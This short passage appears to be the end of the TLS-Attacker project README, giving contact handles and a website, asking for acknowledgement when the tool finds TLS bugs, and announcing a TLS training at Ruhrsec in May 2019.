If you have any research ideas or need support feel free to contact us on Twitter (@ic0nz1, @jurajsomorovsky ) or at https://www.hackmanit.de/.

If TLS-Attacker helps you to find a bug in a TLS implementation, please acknowledge our tool(s). If you want to learn more about TLS, Juraj and I are also giving a Training about TLS at Ruhrsec (27.05.2019).
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